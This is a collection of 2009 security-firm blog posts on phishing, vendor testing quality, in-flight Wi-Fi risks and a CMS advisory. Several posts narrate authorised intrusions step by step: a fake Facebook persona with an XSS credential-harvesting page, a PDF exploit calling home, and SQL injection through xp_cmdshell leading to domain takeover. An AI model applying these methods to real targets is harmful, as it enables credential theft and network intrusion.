The email based phishing attack doesn’t earn the trust of its victims; it steals trust from existing relationships. Those relationships might exist between the victim and their bank, family member, co-worker, employer, etc. In all instances the email based phishing attack hinges on the attacker’s ability to send emails that look like they are coming from a trusted source (exploitation of trust). From a technical perspective, email spoofing and phishing is trivial (click here for a more sophisticated attack example).

The reason why it is possible for an attacker to steal trust from a victim instead of earning that trust is because “face to face” trust isn’t portable to the Internet. For example, most people trust their spouse. Many people talk to their spouse on AIM, MSN, Yahoo, Skype, etc. while at work. How do they know that they are really chatting with their spouse and not a hacker?

So how do you protect against the social risks and prevent the threat from successfully aligning with those risks? The truth is that you can't. Con artists have been conning people since the dawn of man. The better question what are you doing to protect your data from the hacker that does penetrate into your IT Infrastructure?

Why “DISSECTING THE HACK: The F0rb1dd3n Network” was written. By: Jayson E. Street

2009-07-24T09:35:00.000-07:00

Note: This blog entry was written by Jayson E. Street and published on his behalf.

The consumer, the corporate executive, and the government official. Regardless of your perspective, DISSECTING THE HACK: The F0rb1dd3n Network was written to illustrate the issues of Information Security through story. We all tell stories. In fact, we do our best communicating through stories. This book illustrates how very real twenty-first century threats are woven into the daily lives of people in different walks of life.

Three kids in Houston, Texas. A mid-level Swiss businessman traveling abroad. A technical support worker with a gambling problem. An international criminal who will do anything for a profit (and maybe other motives). FBI agents trying to unravel a dangerous puzzle. A widower-engineer just trying to survive. These are just some of the lives brought together in a story of espionage, friendship, puzzles, hacks, and more. Every attack is real. We even tell you how some of these attack are done. And we tell you how to defend against varied attacks as well.

DISSECTING THE HACK: The F0rb1dd3n Network is a two-part work. The first half is a story that can be read by itself. The second half is a technical reference work that can also be read alone. But together, each provides texture and context for the other. The technical reference – called the STAR or “Security Threats Are Real” – explains the “how” and “why” behind much of the story. STAR addresses technical material, policy issues, hacker culture context, and even explains “Easter Eggs” in the story.

This book is the product of a community of Information Security professionals. It is written to illustrate how we are all interesting targets for various reasons. We may be a source of money for criminals through fraud, we might have computing resources that can be used to launch attacks on someone else, or we may be responsible for protecting valuable information. The reasons we are attacked are legion – and so are the ways we are attacked. Our goal is to raise awareness in a community of people who are under-served. Few of us really want dry lectures about how we should act to protect ourselves. But stories of criminals, corporate espionage, friendship and a little juvenile delinquency – now that is the way to learn.

Verify Your Security Provider -- The truth behind manual testing.

2009-07-16T08:05:00.000-07:00

Something that I’ve been preaching for a while is that automated vulnerability scanners do not produce quality results and as such shouldn’t be relied on for penetration tests or vulnerability assessments. I’ve been telling people that they should look for a security company that offers manual testing, not just automated scans. The price points for quality work will be significantly higher, but in the end the value is much greater. After all the cost in damages of a single successful compromise is far greater than the cost of the best possible security services.

I’ve noticed that there are a bunch of vendors who claim to be performing manual testing. But when I dig into their methodologies their manual testing isn’t real manual testing at all, its just vetting of automated scanner results or testing based on the results. In other words they test on what the automated scanner reports and don’t do any real manual discovery. I’m not saying that tools like nessus (an automated scanner) don’t have their place, I’m just saying that they aren’t going to protect you from the bad guys. If you want to be protected from the threat, you need to be tested at a level that is a few notches higher than the threat that you are likely to face in the real world.

This is akin to how the Department of Defense tests the armor on its tanks, and I’ve probably mentioned this before somewhere on the blog. But, we don’t test our tanks against fire from bb guns and .22 caliber pistols. If we did that they wouldn’t be very effective in war. We test the tanks against a threat that is a few levels higher in intensity than what they are likely to face in the real world. As a result, the tank can withstand most threats and is a very effective weapon. Doing anything less isn’t going to protect you when the threat tries to align with your risks; you’ll end up being an expensive casualty of war.

So why do some security companies test at this lesser level? Its simple really, they are in the business of making money and care more about that then they do about actually protecting their customer’s infrastructure. Additionally, there is a market for that sort of low quality testing. There are some businesses that don’t actually care about their security posture; they just care about passing the test so that they can put a check in their compliancy box. Then there are other businesses that unknowingly get taken advantage by of vendors because they don’t know the difference between high quality and low quality services.

So what is the difference between high quality and low quality? From a high level perspective it’s the difference between real manual research based security testing or not. Once hackers have access, they can do anything to your data from steal it, to install back door technology in your product's source code. Its happened before, and its going to happen again.

When a company tells you that they perform manual testing hold their feet to the fire. You can do the following things to verify it:

Dig into their methodology and ask them specific questions about how they perform their testing. (See our white papers on how to do that).
Don’t swallow jargon and terms that sound cool and don’t mean anything, use Wikipedia to look up the terms and make sure that they make sense.
Ask them for the names of their security experts and then use tools like Google, LinkedIn, Facebook and PIPL to do research on those experts. If nothing comes up then chances are their experts aren’t experts at all.
Search vulnerability databases like milw0rm, securityfocus, sirtfr, secunia, packetstormsecurity, etc. for the vendor’s name to see if they have research capabilities. If you don’t get anything in return then chances are that they don’t have research capabilities. If that’s the case then how do you expect them to perform quality manual testing? Chances are that they won’t be able to.

Remember you’re putting the integrity of your business and its respective name into their hands.

SNOsoft - Blosoft - GLOsoft - Awesome!

2009-06-22T19:43:00.000-07:00

Normally we wouldn't give an iota of attention to trolls, but there's always the exception to the rule. The past two advisories that we (Netragard/SNOsoft) released have been followed up by a troll publishing hilarious spoofs of those advisories. So far the spoofs they've released can be found here and are called "BloSoft" and "GloSoft". We're actually proud (and flattered) that these trolls think that we're important enough to spoof because that's a testament to our success as a security company. To us, its sort of like being the target subject for a Saturday Night Live skit. So for the first time ever, thank you to the troll whoever you are!

Aircell GoGo Inflight Internet - Hackers on a plane

2009-05-06T18:02:00.000-07:00

GoGo Inflight Internet is a Wi-Fi service provided by AirCell and offered to an increasing number of airline passengers. This service enables users to connect to the Internet while in transit for business or pleasure. While the service is a great idea, its implementation is flawed and as such its users are put at risk. This blog entry is our effort to help educate GoGo Inflight Internet users about the risks involved so that they can make an informed decision about its use.

Over the past month we've made a continued strong effort to establish communications with AirCell regarding this issue. We have not yet received any response from AirCell other than email disposition notifications and their CTO commenting on a blog. We want to know what AirCell is going to do to protect its users and secure its Wi-Fi Access Points. It is important to understand that public Wi-Fi isn't easy to secure by its very nature, but it shouldn't be completley open. Especially since many of its users are business users who connect to their business networks while in-flight (updated on 05/27/2009).

Lets begin...

The problem with GoGo Inflight Internet is that it doesn't offer any link layer security to its users. An example of Link layer security is Wi-Fi Protected Access (WPA) which provides a mechanism for encrypting wireless transmissions so that they are not intelligible to would be attackers. WPA is offered by most ground based Hot-Spot Wi-Fi providers including Starbucks which is the most commonly used Internet Cafe/Wi-Fi Hot-Spot.

Instead of GoGo Inflight Internet protecting its users at the link layer, it openly transmits its users network traffic in much the same way that a radio station transmits music. The primary difference between the two is that the GoGo Inflight Internet Wi-Fi transmission is bidirectional and radio stations are unidirectional. That means that anyone can listen to the network data being sent by the GoGo Inflight Internet service (or any unprotected hot-spot) and they can transmit to it.

This also means that a hacker can listen in on all network conversations and record all data that is sent or received by GoGo Inflight Internet users. Because the vulnerability exists at the link layer, there's no way to establish a trustworthy SSL connection or VPN connection. This means that a hacker can capture credit card information while GoGo Inflight Internet users purchase their in-transit internet service. This credit capture is done by using a Man-in-the-Middle attack to defeat the security of the SSL or VPN connection during the initialization process. Here's one example of an SSL Man-in-the-Middle from the SANS Institute.

Unfortunately the risk doesn't end there, and it is also possible to gain access to business networks by exploiting users of the GoGo Inflight Internet service (or any other unprotected Wi-Fi Hot-Spot). Remember, the attacker can receive and send network data. This means that the attacker can inject malicious content into a users network stream, or redirect the user to a malicious location. In both cases the attacker can gain access to a GoGo Inflight Internet users computer and even infect it with a worm, trojan, etc.

Once the attacker has access to the users computer there are two possible ways to get into the users business network. The most effective way would be to install a program on the laptop that calls home when the laptop is connected to the business network (bots do this). Once the computer calls home, the attacker would be able to establish a reverse connection into the business network and its game over at that point.

The other option might not be as successful depending on what sort of VPN client the user is using. But it is sometimes possible to wait for a victim to establish a VPN connection and then for the attacker to ride in on the VPN connection. In other words, the user won't be the only person using the VPN to access his or business network, the attacker will be there too.

Its important to understand that the risks associated with using an unprotected Wi-Fi network are well documented and have been for quite some time now. That begs the questions as to why Aircell didn't implement some form of link layer security for their users. More importantly, what is Aircell going to do to protect its users? While we did make multiple efforts to establish a communication channel with Aircell, we have yet to hear back from them aside from email return receipts.

We did however read some of their comments on the Economist, so we'll address those here. Aircell's CTO Joe Cruz said "Our capabilities are not much different from what you encounter in hotel rooms, in Starbucks and in public hotspots," he tells me. "And if you're on the ground, you're actually more susceptible to spamming because hackers know where you are."

We've already addressed his first point about "hotel rooms, in Starbucks and in public hotspots" and demonstrated that they do in fact offer WPA2 to their users. His second point about being more susceptible "to spamming because hackers know where you are" is inaccurate. Firstly, spamming has nothing to do with wether or not you're on an airplane, but the threat does. The fact of the matter is that on an airplane you are likely at a higher threat level than if you were on the ground.

Here's why...

If you think about the audience on an airplane and compare that to the audience in an internet cafe or other ground based Wi-Fi Hot-Spot there are two significant differences. The first is that the airplane will likely have a higher concentration of business people than the internet cafe. The second is that the Wi-Fi users on an airplane are likely to stay connected during the duration of the flight, while in an internet cafe they are likely to be connected quickly to check email or something similar. As a result, the Wi-Fi capable airplane is a much more high value target for malicious hackers than a cyber-cafe.

Joe Cruz goes on to say ""If you’re in an airplane, you’re with a select group of people," he says. "One of the great screeners is the $365 you pay to get on the plane." He's right about the select group of people, if one of them is a malicious hacker then you're effectively held captive until the plane lands. With respect to his comment about the $365 screener, a malicious hacker would think of that as a minor investment when compared to how much money can be made by doing the hack right.

Conficker (and friends) v.s. Quality Penetration Testing

2009-04-03T21:07:00.001-07:00

Its funny to me that people haven't commented on the fact that the ability of a worm to spread is proof positive of just how insecure today's networks are. (Yet, even with this lack of security others are talking about this kick-ass idea of "Cloud Computing"). The fact is that if people managed their networks properly (which includes testing properly with quality security service providers) that worms would not be able to spread, or at least not so quickly and on such a wide scale.

As an example, we recently performed a penetration test for one of our customers. The time between project kickoff and successful penetration was less than 15 minutes. That is to say that we were able to hack into our customers network within 15 minutes of starting the project. The way we did it was to create a .pdf based invoice and send it to the customer from a trusted source. This particular invoice wasn't really an invoice of course, it was a pdf document designed to exploit a vulnerability in their adobe acrobat reader. In this case, when our victim opened the pdf document their computer established a reverse http connection back to us. We then tunneled back in over that connection and had access to our customer's network. If we were malicious it would have been game over.

So what does this have to do with worms? If you think about it a worm uses the same methodology for penetrating into networks as hackers do. Just like hackers, worms will penetrate your network by embedding themselves in files (like our PDF example above), or by exploiting vulnerabilities in computers systems, or maybe via social engineering. Either way, the technique is the same, and as such the defense should be the same. Why isn't it?

Most people _try_ to protect their networks with anti-virus scanners and other technology. They implement these scanners on their desktops, servers, gateway's etc. They also use Intrusion Detection/Prevention Systems, firewalls and other similar solutions in an attempt to prevent infection or penetration. They never stop to question the security of the technology that they install. In 2006 Symantec's own Antivirus technology was vulnerable to attack. Back then it was possible to send someone a specially crafted email to penetrate into their computer. The fact is that technology is, and will always be fallible unless it is proved to be secure with mathematics.

I'm not saying that technology is useless because it isn't. I am saying that technology should be augmented with frequent security testing. Those tests should be delivered by a quality security provider capable of creating a threat that is at least as intense as what customers will face in the real world. Once testing is done at that "real" level the resulting deliverable will enable people to build good defenses that are based on solid recommendations.

Continuing with the pdf customer... One of the recommendations that we made to our customer was that they install a proxy to control outbound http and https traffic. We also recommended that they drop all outbound traffic that is not necessary for day-to-day business operations. We made that recommendation because of how easily we penetrated their network with PDF and the reverse http connection.

The customer implemented our recommendations and when we retested their network were unable to get anything to call home. As a result of our work worms like Conficker can not function properly on our customer's network because they can not call home. Instead, if they do get in they sit on the network isolated and useless until they are eliminated by the anti-virus technology.

Cambium Group, LLC. CAMAS Advisory

2009-02-24T13:12:00.000-08:00

We've finally released the Cambium Group, LLC Content Management System ("CAMAS") advisory after much waiting and debate. These security risks were discovered in CAMAS during a customer penetration test that we did in August of 2007 (we notified the Cambium Group about these risks on 08/24/2007). The security vulnerabilities that are disclosed in the advisory are kept very high level and low detail as to not arm any potentially malicious people. Unfortunatley the vulnerabilities still exist today (almost two years later) according to some recent Google research that we did. In fact, according to Google's cache the Cambium Group's own website was vulnerable as of Feburary 9th 2009 to the exact same vulnerabilities that we alerted them to on 08/24/07 (see the screen shot below).

We can't ethically test Cambium Group customer's websites without their permission, hence why we rely on Google for this information. Google sometimes triggers vulnerabilities in websites while crawling them and the results get recorded to Google's database. When that happens they become searchable (and get cached). Malicious hackers and script kiddies also use Google in this way to identify websites that are vulnerable to SQL Injection. This gives them an easy set of targets that they can compromise with little effort.

You can check to see if Google stumbled upon a vulnerability in your instance of CAMAS by using the following technique. Type the following string into the Google search engine but replace www.company.com with your company's domain (see the screen shot below as an example.) String (without the quotes): "inurl:www.yourcompany.com 1064 You have an error in your SQL"

When you hit the search button (and if Google has a cached version of your website being vulnerable) you will see a link that reads something like "1064: You have an error in your SQL syntax near '' at line 1 select * from Template where TemplateID =". That error is an SQL error that demonstrates that your website is (or was) vulnerable to SQL Injection. SQL Injection Vulnerabilities are one of the more serious risks because they can be used by hackers to gain administrative levels of access to websites, web servers and their respective content.

Unfortunatley, if Google doesn't respond with something like the response shown above, you might still be vulnerable. SQL Injection vulnerabilities can also be blind in nature, meaning that they do not throw errors back to the attacker but that they can still be used to penetrate into systems (in some cases they may throw non-informational errors). *Additionally, CAMAS isn't only vulnerable to SQL Injection, but it is also vulnerable to Cross-Site Scripting, Cross-SIte Request Forgery, Local File Inclusion, Remote File Inclusion, and some Cryptographic Weaknesses (*according to testing done in 2007 and to more Google homework).

The reason why we were unable to come forward with this advisory back in 2007 is because the Cambium Group hadn't yet fixed the vulnerabilities that we discovered in our customers instance of CAMAS. We were only recently able to come forward because an ex Cambium Group consultant exposed these same vulnerabilities in a posting that he made to the Full Disclosure mailing list. As a result we felt that it would be prudent to release a formal advisory to help CAMAS users become aware of the risks and defend against them.

Our normal process for vulnerability research and advisory release is to work with the vendor in a friendly and professional manner. We've got quite a bit of expereince in doing this with vendors like Apple, HP, etc. In most cases vendors respond with questions about how to fix the vulnerabilities that we discovered. We provide them with all of the information that we can and wait for them (while working with them) to create a fix.

In most cases this process takes anywhere from 3 to 6 months, but when its done, we've done our job and the risks are eliminated. Not only does this type of work help the vendor to keep their customer's safe, but it also enables the vendor to demonstrate to their customers that they take security seriously. We attempted to follow the same practice with the Cambium Group, LLC. but no fixes were ever pushed out to their customers (based on what we saw). To the best of our knowledge, this is the first time that a CAMAS advisory has been released about the vulnerabilities that we discovered in 2007. If that is inaccurate, please leave us a comment and we'll consider updating this entry.

In addition to our advisory being published, there also exists a good article that was written by Dan Goodin at the register. Dan Goodin took the time to contact the Cambium Group to hear their side of the story before writing the article (as any good reporter does). Something to make note of before reading the article is a quote from Scott Wells where he said "All of the recommendations that Netragard gave were followed and the site was then able to pass their validation process." We're not sure why he said that, we never rechecked the customer site and we don't have a "validation process".

If you are a Cambium Group customer then there are a few things that you can do to ensure the saftey of your website and its respective users. The first recommendation that we have is to perform a Web Application Penetration Test against your website. You can do this yourself in a light weight sort of way by using a scanner like NTOspider or WebInspect (we're not affiliated with either but we'd recommend NTOspider). Having said that, we're not too fond of relying on automated tools for security so we recommend that you hire a qualified third party to test the security of your website. Make sure that they do manual testing, not just automated testing.

We also recommend that any Cambium Group customer consider installing a reverse proxy with application layer filtering capabilities. These proxies are designed to analyze web traffic being sent from web users to your website. If the data is normal web traffic then it is allowed to reach your website, but if it contains malicious data that matches known attack patterns then it is blocked and never reaches your website. This prevents attackers from being able access the vulnerable components of websites that suffer from various risks. Examples of such proxies are ModSecurity and BlueCoat (there are many others and we're not affiliated with any of them).

The other way to defend against these vulnerabilities is to impliment properly designed parameterized stored proceedures and to use strong input validation and data sanitization techniques as defined by the Open Web Application Security Project. This is true for for any Web Application, not just CAMAS. Never the less, in the case of CAMAS the Cambium Group would need to impliment these changes, you would probably not be able to because CAMAS is not an open source product.

If you have any questions about this blog entry please do not hesitate to contact us with any of your questions or concerns. You can either leave us a comment on the blog and we'll respond promptly, or you can contact us off-line and we'll keep it confidential. Your privacy and security are our top concern.

Update: One of our readers sent us a link to The Vermont Statutes Online, Title: 9 Commerce and Trade Chapter: 62 Protection of Personal Information 2435. Notice of security breaches. If you are a CAMAS customer then it is our understanding that you should have received notification of these risks based on the aforementioned statute.

Netragard : Facebook from the hackers perspective.

2009-02-12T08:21:00.000-08:00

For the past few years we've (Netragard) been using internet based Social Networking tools to hack into our customer's IT Infrastructures. This method of attack has been used by hackers since the conception of Social Networking Websites, but only recently has it caught the attention of the media. As a result of this new exposure we've decided to give people a rare glimpse into Facebook from a hackers perspective. Credit for designing this specific attack methodology goes to Kevin Finisterre and Josh Valentine both core members of our team.

Lets start off by talking about the internet and identity. The internet is a shapeless world where identities are not only dynamic but can't ever be verified with certainty. As a result, its easily possible to be one person one moment, then another person the next moment. This is particularly true when using internet based social networking sites like Facebook (and the rest).

Image provided by Michael Painter

Humans have a natural tendency to trust each other. If one human being can provide another human with "something sufficient" then trust is earned. That "something sufficient" can be a face to face meeting but it doesn't always need to be. Roughly 90% of the people that we've targeted and successfully exploited during our social attacks trusted us because they thought we worked for the same company as them.

The setup...

Facebook allows its users to search for other users by keyword. Many facebook users include their place of employment in their profile. Some companies even have facebook groups that only employees or contractors are allowed to become members of. So step one is to perform reconnaissance against those facebook using employees. This can be done with facebook, or with reconnaissance tools like Maltego and pipl.com.

Reconnaissance is the military term for the collection of intelligence about an enemy prior to attacking the enemy. With regards to hacking, reconnaissance can be performed against social targets (facebook, myspace, etc) and technology targets (servers, firewalls, routers, etc). Because our preferred method of attacking employees through facebook is via phishing we normally perform reconnaissance against both vectors.

When setting up for the ideal attack two things are nice to have but only one is required. The first is the discovery of some sort of Cross-site Scripting vulnerability (or something else useful) in our customers website (or one of their servers). The vulnerability is the component that is not required, but is a nice to have (we can set up our own fake server if we need to). The second component is the required component, and that is the discovery of facebook profiles for employees that work for our customer (other social networking sites work just as well).

In one of our recent engagements we performed detailed social and technical reconnaissance. The social reconnaissance enabled us to identify 1402 employees 906 of which used facebook. We didn't read all 906 profiles but we did read around 200 which gave us sufficient information to create a fake employee profile. The technical reconnaissance identified various vulnerabilities one of which was the Cross-site Scripting vulnerability that we usually hope to find. In this case the vulnerability existed in our customer's corporate website.

Cross-site scripting ("XSS") is a kind of computer security vulnerability that is most frequently discovered in websites that do not have sufficient input validation or data validation capabilities. XSS vulnerabilities allow an attacker to inject code into a website that is viewed by other users. This injection can be done sever side by saving the injected code on the server (in a forum, blog, etc) or it can be done client side by injecting the code into a specially crafted URL that can be delivered to a victim.

During our recent engagement we used a client side attack as opposed to a server side attack . We chose the client side attack because it enabled us to select only the users that we are interested in attacking. Server side attacks are not as surgical and usually affect any user who views the compromised server page.

The payload that we created was designed to render a legitimate looking https secured web page that appeared to be a component of our customer's web site. When a victim clicks on the specially crafted link the payload is executed and the fake web page is rendered. In this case our fake web page was an alert that warned users that their accounts may have been compromised and that they should verify their credentials by entering them into the form provided. When the users credentials are entered the form submitted them to http://www.netragard.com and were extracted by an automated tool that we created.

After the payload was created and tested we started the process of building an easy to trust facebook profile. Because most of the targeted employees were male between the ages of 20 and 40 we decided that it would be best to become a very attractive 28 year old female. We found a fitting photograph by searching google images and used that photograph for our fake Facebook profile. We also populated the profile with information about our experiences at work by using combined stories that we collected from real employee facebook profiles.

Upon completion we joined our customer's facebook group. Joining wasn't an issue and our request was approved in a matter of hours. Within twenty minutes of being accepted as group members, legitimate customer employees began requesting our friendship. In addition to inbound requests we made hundreds of outbound requests. Our friends list grew very quickly and included managers, executives, secretaries, interns, and even contractors.

After having collected a few hundred friends, we began chatting. Our conversations were based on work related issues that we were able to collect from legitimate employee profiles. After a period of three days of conversing and sharing links, we posted our specially crafted link to our facebook profile. The title of the link was "Omigawd have you seen this I think we got hacked!" Sure enough, people started clicking on the link and verifying their credentials.

Ironically, the first set of credentials that we got belonged to the person that hired us in the first place. We used those credentials to access the web-vpn which in turn gave us access to the network. As it turns out those credentials also allowed us to access the majority of systems on the network including the Active Directory server, the mainframe, pump control systems, the checkpoint firewall console, etc. It was game over, the Facebook hack worked yet again.

During testing we did evaluate the customer's entire infrastructure, but the results of the evaluation have been left out of this post for clarity. We also provided our customer with a solution that was unique to them to counter the Social Network threat. They've since implemented the solution and have reported on 4 other social penetration attempts since early 2008. The threat that Social Networks bring to the table affects every business and the described method of attack has an extraordinarily high success rate.

They will protect my data (won't they?)

2009-02-09T09:51:00.000-08:00

So the other day I was talking with my buddy Kevin Finisterre. One of the things that we were discussing was people who just don't feel that security is an important aspect of their business because their customers don't ask for it. That always makes my brain scream "WHAT!?". Here's a direct quote from a security technology vendor "We don't perform regular penetration tests because our customers don't ask us to do that."

Isn't it the service provider's/vendor's responsibility to properly manage and maintain the security of their infrastructure? Don't they have an ethical obligation to their customers to protect the service that they are offering and any information that the customers decide to store on their systems?

The real question is, how many customers would they lose if the customers heard them say that? That is after all just like saying "We don't care about security because our customers aren't asking us to care about it."

So who have I heard this from? Here's the (very) short list:

Vendors that make security software (like email gateways, anti-virus technology, Intrusion Prevention Systems, etc).
Vendors that make technology that is used to control our Nuclear Power Plants, Water Purification Plants, Traffic Control Systems, etc.
Vendors that sell business enabling technologies like PHP based Content Management Systems, Commercial Web Servers, Server based applications, Web Applications, etc.
Vendors that sell desktop applications like Financial Tracking Systems, Invoicing Systems, File Sharing Systems, Backup Solutions, etc.
I've also heard this from MAJOR Service Providers such as Web Hosting Providers, Email Providers, Backup Service Providers, etc.
The list goes on....

I think that people need a wake up call. This strikes me as a serious ethical issue, what about you? Leave me a comment I'm very interested in feedback on this one.

A Quality Penetration Test

2009-01-20T14:21:00.000-08:00

Someone on the pen-testing mailing list asked me to write an entry about the difference between vulnerability scanning (and services that rely on it) and Real Time Dynamic Testing™. This entry is a sanitized description of a real Advanced External Penetration Test that our team delivered to a customer. Many details were left out and our customer’s information was removed or augmented to protect their identity. Our customer did approve this entry.

Our team (Netragard, LLC.) was hired to perform an Advanced External Penetration Test as a follow-up engagement to a pen-test that was delivered by a different vendor. This might seem unusual, but we get these types of engagements more and more frequently. This test was no different than most of them, and we found significant exploitable vulnerabilities that the other vendor missed entirely, which unfortunately seems all too common.

When we deliver Advanced services we expose our customers to specific type of threat. Our goal is to create a threat that is a few levels higher than what they would likely face in the real world. Testing our customers at a threat level that is less than that would do nothing to help them defend against the actual threat. Our services are not the product of automated vulnerability scanners and scripts; they are the product of human talent.

During this particular engagement we were authorized to perform Distributed Metastasis, Covert Testing, Social Engineering, Malware Deployment, ARP Poisoning, etc. All targets were also authorized and included Web Servers that were hosted by third parties, Web Servers that were hosted locally, VPN end points, FTP servers, IDS systems, DNS servers, Secure Email Servers like tumbleweed and so on. We were not given a list of IP addresses to target, we had to identify them and request approval.

We began the engagement by performing covert social and technical reconnaissance. Reconnaissance is the military term for the collection of intelligence about an enemy prior to attacking the enemy; in this case our customer was the “enemy”. Our philosophy is that we cannot produce an accurate threat level without first understanding some details about our target’s political structure, social behavior, and technology infrastructure. We might not use all of the information that we collect while testing, but more times than not it provides us with a good idea of what will be effective, and what will not.

During reconnaissance we focused on two separate target groups. The first target group was the social structure of the client’s employees that we felt was of interest. As such we collected information about those employees that included office-location, telephone extensions, email address, relationships to other employees, friends outside of work, etc. Our secondary sets of targets for reconnaissance were technical targets. Those targets included the identification of servers used by the client, vendor identification, partner identification, the identification of IP addresses belonging to the client, the internal IP addressing scheme, operating system information, patch frequency information, etc.

We were able to use the information collected during reconnaissance to begin performing vulnerability identification through analysis. Because this service was an advanced service and required covert testing, vulnerability identification was mostly done with manual testing (Real Time Dynamic Testing™) and during reconnaissance. As testing progressed we increased our noise level until we received notification from the customer that we’d been detected. This enabled us to identify what level of testing was considered “flying below the radar” and what level was “tagged”. (Knowing this enables us to help our customers retune their IDS technologies so that they are more difficult to evade. In most cases IDS technologies are not tuned properly, and yes this includes IPS and Correlation Systems too.)

Once we were finished with vulnerability identification we built a target matrix that was organized by probability of penetration. This matrix is used as a guide for the team and enables us to test the most probable points of entry first, and the least probable points of entry last. In the case of this particular customer we identified three probable points of entry along with a few other basic vulnerabilities like Cross-site Scripting, etc. (While Cross-site Scripting is useful for performing Social Engineering based attacks, we won’t go into the details about how we used them here.) The other vendor even with basic scanning services should have detected most, if not all of these vulnerabilities, but they didn’t.

The first point of attack that we focused on was the customer’s corporate website. This website was being hosted by a third party and was using a Content Management System (“CMS”) that was created by vendor that we’ll call the Noname Group. This particular CMS was written entirely in PHP, was closed source and had no security functionality to speak of. There were multiple points were unchecked variables were passed directly to SQL statements or other critical internal application components. We were able to use those unchecked variables to penetrate into our Customer’s Web Server and take control of it.

Upon accessing that web server we found customer data that was stored in the database in clear text. This information contained names, addresses, account numbers, social security numbers, etc. In some cases the information was from users requesting information, in other cases it was users looking to sign up. As a proof of concept we wrote a ruby script that would automatically dump the contents of the database when executed. That script was submitted to the customer. Because this server was not hosted within our Customer’s IT Infrastructure it did not provide us with a platform from which we could perform Distributed Metastasis.

The next target lined up for testing was another Web Application, this time it was hosted from within our customer’s infrastructure. Again, the application suffered from a basic SQL Injection vulnerability that could be triggered by a back-tick. We used the vulnerability to fingerprint the application’s backend database and learned that it was a MS-SQL database. We also learned that was hosted on a separate server from the Web Server. We then tested for “xp_cmdshell” access and found that the “sa” user had no password set and as a result we could execute arbitrary commands against the database server with administrator privileges.

Once we gained control over the database server we began to examine other systems within proximity to our new point of control (Distributed Metastasis). That was when we learned that we’d compromised a key server that was deep within the customers IT Infrastructure and had clear access to other critical systems. We also noticed that the server that we were controlling contained multiple databases that contained a wide variety of highly sensitive information including customer banking information, social security numbers, etc. In addition, while performing network probes we identified a secondary database server. Ironically this second database server was running on the web server with the SQL Injection vulnerability that we’d just attacked.

When we tried to connect to the second database server from the internal server we were unable to access it because this time the “sa” password was set and we didn’t know what it was set to. We did however know which system accessed that database server as a result of the Social Engineering efforts that were mixed into our Social Reconnaissance. The system with access was also the third system in our targeting matrix and contained another vulnerable Web Application. This time, due to the configuration of the application SQL Injection capabilities were limited. We did however manage to find an arbitrary file read vulnerability and were able to use it to read the application’s configuration file that contained the “sa” password.

This enabled us to go back to the previously inaccessible database and access it using the sa password. This also gave us access to the xp_cmdshell function that in turn allowed us to execute arbitrary commands against the system. At this point in the test we’d managed to penetrate into both the DMZ and the corporate LAN which also allowed us to connect to any other system within proximity without issue. In other words, there was no internal segmentation in the form of VLAN’s or physical isolation. The networks were flat.

The server that we penetrated in the LAN contained a SAM file. We were able to crack 90% of the passwords in that SAM file with rainbow tables, including the Administrator password. Once we had that password we were able to use RDP to access the Active Directory server and it was technically game over. If we had not discovered the SAM we were prepared to perform ARP Poisoning to collect data and possibly in-transit credentials. Our penetration of the AD server concluded the penetration test.

It is important to note that this is not a complete description of all of the testing that we did for the customer. As with any engagement we produce a deliverable that outlines all discovered points of risk with their respective methods for remediation. In this particular case our report identified 47 risks and provided 47 methods for remediation. Remember that this customer just completed a penetration test from a different vendor, how is it that they missed 47 risks? Their services certainly did not protect our customer from hackers.

Network Vulnerability Scanning Doesn't Protect You

2009-01-07T07:29:00.001-08:00

Vulnerability scanning can have a detrimental negative impact on the security posture of your IT infrastructure if used improperly. This negative impact is due to a perceptional issue that has been driven by the vendors who sell vulnerability scanning services or the vulnerability scanners themselves. The hard facts prove that vulnerability scanners can not protect your IT Infrastructure from malicious hackers. (My team penetrates "scanned" networks on a regular basis during customer engagements). That is not to say that vulnerability scanners are useless, but it is to say that people need to readjust their perception of what vulnerability scanning really is.

While there are various types of vulnerability scanners they suffer from the same disease that most security technologies suffer from. That disease is that they are reactive to hackers and will never be proactive. The fact is that vulnerability scanners can not detect vulnerabilities unless someone has first identified the vulnerability and created a signature for its detection. This process can take quite a while and is often not an ethical one. So here is how it works...

A hacker decides to perform research against a common technology like your firewall. That hacker might spend minutes, months or even years doing research just for the purpose of identifying an exploitable security vulnerability. Once that vulnerability is identified the hacker has an ethics based decision to make. Does he notify the vendor of his discovery and release a formal advisory or does he use his discovery to hack networks, steal information and profit.

If the hacker decides to notify the vendor and release an advisory then there is usually a wait period of 1-3 months before the vendor releases a patch. This lag time means that the vendor's customers will remain vulnerable for at least another 1-3 months, most probably longer. What's even more interesting is that this vulnerability may have been discovered previously by a different researcher that didn't notify the vendor. If that's the case then that probably means that the vulnerability has been in use as a tool to break into networks for a while. Who knows, it could have been discovered months or even years ago? That type of unpublished vulnerability is known as a 0day and is the favorite weapon of the malicious hacker.

At some point the vulnerability does become public knowledge. Its also at this point that the vendors who make the vulnerability scanning technology become aware of the new risk. When they do learn about the new risk they need to develop a signature, or script for their scanning technology so that it can detect the risk. That development process can take anywhere from a few days to a few weeks depending on the complexity risk. As a result, the customers that rely on vulnerability scanning are in the dark until the vendor can publish a working and tested signature... but the hackers don't need to wait at all. The hackers can use it almost immediately.

So in summary, there is a large risk window between the point of discovery of a vulnerability and the point at which a vulnerability scanner can detect the vulnerability. This risk and exposure window is usually never smaller than a few months, and can be as large as several years. During that time there is a very good chance that malicious hackers will be using your undiscovered risks to penetrate into your infrastructures. Whats worse is that you'll have no idea that you've been hacked because like vulnerability scanning technology, Intrusion Detection technology also can't identify threats if it doesn't know what to look for. Moreover most Intrusion Detection technologies aren't configured properly and as such don't work properly.

Unfortunately the story doesn't end there. Vulnerability scanners also suffer from significant issues with accuracy. In all cases where I've used (various) vulnerability scanners, the best results that I've ever achieved were about 30% accurate. This means that most of the vulnerabilities that were detected during my various scans weren't actually vulnerabilities but instead were false alarms, also called false positives. More frightening is the number of vulnerabilities that I discovered while performing Real Time Dynamic Testing (manual hacking) that were entirely missed by the vulnerability scanner. If you don't believe me then go download a free vulnerability scanner, test your network and verify the results yourself.

This inaccuracy is partially due to the architecture of the vulnerability scanners and the fact that no two networks are alike. Vulnerability scanners use static signatures or scripts that are only capable of checking a target for a vulnerability if their syntax is exactly accurate and if the target responds in a way that the scanner can understand. If however the target, lets say its a computer system, is configured in a custom way then it may not respond in a way that the scanner will understand (how many of you keep the default configuration?). This communication barrier is a large part of what causes false positives and false negatives.

